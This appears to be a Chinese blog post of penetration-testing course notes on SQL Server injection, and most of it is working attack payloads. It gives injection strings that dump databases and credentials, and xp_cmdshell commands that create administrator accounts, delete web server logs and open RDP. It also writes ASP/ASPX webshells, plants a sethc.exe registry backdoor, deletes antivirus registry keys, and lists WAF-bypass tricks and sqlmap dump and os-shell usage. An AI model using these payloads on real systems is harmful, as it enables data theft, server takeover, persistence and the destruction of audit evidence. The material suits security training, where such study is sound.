10.sqlserver注入

1.sqlServer 常规操作
2.sqlServer 注入原理
3.sqlServer 注入工具使用
4.sqlServer 不同权限利用

 

PART 1: SqlServer常规操作


Sqlserver 服务
重启服务,使其生效。
名令: services.msc
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433端口是开启的。当我们关闭服务后,端口也将关闭。

后缀
cracer.mdf //mdf是数据库文件,
日志文件后缀
cracer_log.ldf//ldf是数据库匹配的日志文件
所以要下载就得下载两个文件才可以

mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等 system

db权限:文件管理,数据库操作等 users-adminstrators

public权限:数据库操作 guest-users

sqlserver身份:

sa 相当于系统system权限,如果拿到了sa权限,很容易被提权
dbo 数据库用户对象身份,相当于普通用户,直接getshell
pubic 相当于系统的来宾用户

创建身份方法:
安全性---新建登录名---设置密码---数据库test---服务器角色(关乎权限)sysadmin--用户映射test---确定

调用数据库代码
<%
set conn =server.createobject("adodb.connection") conn.open
"provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"
%>
//链接的数据库,sa账号,123123密码,database-name库

其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的

用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase

(不需扩展名)。

上面这些数据库链接配置信息会放在web.config,或者conn.asp/aspx,config.asp/aspx,conn.ini//

找到账号密码就可以 提权链接数据库了


PART 2: SqlServer注入利用
漏洞挖掘
漏洞出现的位置
手工挖掘:
有参数传递
有数据库交互
我们可以控制
工具扫描
Awvs、burp、appscan


判断语句
1.判断是否有注入
and 1=1
and 1=2
/
-0
判断注入的方法是一样的
2.初步判断是否是mssql
and user>0
3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql 返回正常就是sqlserver
and (select count(*) from msysobjects)>0 access


sqlserver可能存在的注入类型

1.bool 盲注
2.联合查询
3.多语句
4.内联查询
5.时间盲注

注入语句:
下面属于盲注

4.注入参数是字符
'and [查询条件] and ''='
5.搜索时没过滤参数的
'and [查询条件] and '%25'='
6.猜数表名
and (select Count(*) from [表名])>0 //填写表名,如果真就返回正常,假就返回错误
7.猜字段
and (select Count(字段名) from 表名)>0
8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql) and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

方法二:
显错注入
探测漏洞信息
http://testasp.vulnweb.com/showforum.asp?id=0
在加入'后 报错
//数据库版本
id=1 and 1=(select @@version) //原理前面数字类型报错,报错和连同数据库版本也给你爆出来了
//当前使用的数据库
id=1 and 1=(select db_name()) //原理前面数字类型报错,报错和连同当前数据库也给你爆出来了

也可以id=@@version //id就是数字类型,而自己写的缺失字符型


列数据库名称

//获取第一个用户数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4)
//sqlserver有4个默认自带数据库,用dbid来标识,目标在创建多一个数据库就大于4了,解释第一个dbid大于4的数据库名称
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')
//第一个数据库是acublog,那么我们就爆出不等于acublog的其他数据库
//大于4是系统自带,大于5就是下一个,也可以推理推理
以此类推,可以获取全部用户数据库名
and 1=(select name from master..sysdatabases for xml path)
//所有数据库一xml格式显示出来


列表名

//获取表名
//获取第一张表 threads
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

//获取第二张表 users
?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )
//以此类推,可以获取全部表


列表的列名

获取表 users 的列名
//获取第一列列名 uname
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))

//获取第二列列名 upass
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )


列数据

//获取第一个用户名
?id=1 and 1=(select top 1 uname from users)

//获取第一个用户名对应的密码
?id=1 and 1=(select top 1 upass from users )


union 联合查询

order by 语句有时候会报错是因为后面的没有注释掉:
order by 10%23
order by 10--+

//sqlserver的联合查询特性不能用123爆点位,必须用null
//都是null的情况下就使用空来代替点位如果报错就成功例如:union select 1,null,null
//在union select '1',null,null 加上单引号如果返回正常就代表是字符列

顺便查下版本和数据库名

union select null,@@version,db_name(),null,null

 


如果要查其他数据库的表名还可以这样:
//指定库名去查表

union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null


union 列表名
//指定的是当前数据库使用的表

继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

第一个表名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null

第二个表名
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null


union 列列名

继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)

第一个列名

http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null

第二个列名

http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null

第三个列名

http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null


列数据

http://192.168.0.240:8005/?id=1 union select null,username,password from password where username not in (select top 0 username from password)

 


Sqlserver 不同权限利用

用户所处权限分析:

sa权限
dbo权限
public权限

 

权限判断语句

先去执行下面指令去判断

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
如果返回正常就是sysadmin权限,检测出sysadmin的话就包含了下面权限

and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限

and 1=(select is_srvrolemember('public')) //判断是否为public权限

and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

 

Sa权限的利用

注入用户密码
修改网站管理员密码
直接getshell
调用系统命令
创建系统管理员
操控文件
操控日志文件
getshell
创建sqlserver管理
系统服务操作
注册表操作
创建后门
开启3389


如果想调用系统命令,就得需要一个xpcmd_shell的组件
xpcmd_shell是一个功能点的扩展,要看是否被sqlserver删除掉,被删除掉是无法执行命令的,所有要通过语句把这个组件安装和恢复上才能调用的


SQLserver中的存储过程

sp_addlogin

//创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例

sp_dropuser

//从当前数据库中删除数据库用户


xp_enumgroups

//提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表


xp_regwrite

//未被公布的存储过程,,写入注册表

 

xp_regread

//读取注册表


xp_regdeletevalue

//删除注册表


xp_dirtree

//读取目录

 

sp_password

//更改密码


xp_servicecontrol

//停止或激活某服务


修改网站管理员密码


;update admin set password=‘e8dc763194f29433’ where username=‘cracer’


将管理员表admin中admin用户的密码设置为e8dc763194f29433

修改之前把原来密码备份 通常在密码解不出的情况下选择使用该方法

密码得该成md5

 

直接getshell

很多情况下一报错就把网站路径都爆出来了

修复上传
1. ;EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
2. ;exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE


http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
//先去解码,这是用cmd写了个一句话出来,前提是得从报错里看到网站的路径
如果不成功就用修复上传1去修复一下,然后再来执行

然后在192.168.0.200:8005/x11.asp链接下,报错重新上传吧execute改成eval函数
菜刀直接连接即可

 

调用系统命令xp_cmdshell

1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')

判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

恢复(重要)

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'


Xp_cmdshell执行命令
先去恢复cmd组件

新建用户
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'添加管理员组

添加后就在开启3389,直接导入,然后远程连接3389
操控日志
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '

Getshell

echo ^<%Execute(request("a"))%^> > d:\www\123.asp
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--


操作注册表
删除注册表
reg delete HKLM\SOFTWARE\McAfee /f
导入注册表
Regedit /s d:\web\zh\hp.reg
导出注册表
regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"


创建sqlserver管理
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin


系统服务操作
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'


注册表操作

启用存储过程

exec sp_addextendedproc xp_regread,'xpstar.dll'
;exec
master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—


exec sp_addextendedproc xp_regwrite,'xpstar.dll'

 

写入注册表
xp_regwrite 根键,子键, 值名, 值类型, 值

写入shift后门 用的比较多 5次shift
;exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\\windows\\system32\\taskmgr.exe'--

这个后门如果成功进入3389后就按5次shift就可以打开任务管理器,在新建,进入cmd,这时候就是systen32权限
进入命令界面exolarer.exe桌面重新加载,就直接进入系统了


开启3389

;exec master..xp_cmdshell 'sc config termservice start=auto' ;exec master..xp_cmdshell 'net start termservice' ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'

//允许外部连接

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'

 

//改端口到80

开启3389 ;exec master..xp_cmdshell
命令行开启的dos命令
"wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--

 

dbowner权限利用

1.判断数据库用户权限
and 1=(select is_member('db_owner'));--
2.搜索web目录
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
然后
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
and(select dir from temp where id=1)>0
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹


getshell

找到web目录后,就可以写入一句话木马了
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str)values ('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple


SqlServer 工具使用


用工具Getwebshell增强版
输入注入点
备份路径填写好
一键备份来就可以了


穿山甲、萝卜头、sqlmap等

/**/可以用来代替空格
例如union/**/select null,username,password/**/from/**/password--

%0a 换行的的意思

脏数据也可以过掉waf idfisdoifahfoiashfoiahsf--%0a添加进去

 

sqlmap.py -u "xxxxxxxx" --current-user //查看权限
sqlmap.py -u "xxxxxxxx" --is-dba 是否是管理员
--current-db 列数据库
-D mssaltest --tables//列数据库表名passwode
-D mssaltest -T password --columns
-D mssaltest -T password --dump -C username,password
也可以-os -shell 在whomi查看权限
创建用户名添加管理员
echo ^<% eval(request('a'))%^> > c://inetpub/wwwroot/8005/xx.asp




posted @ 2020-10-29 20:49  那个人叫方寒  阅读(1212)  评论(0编辑  收藏  举报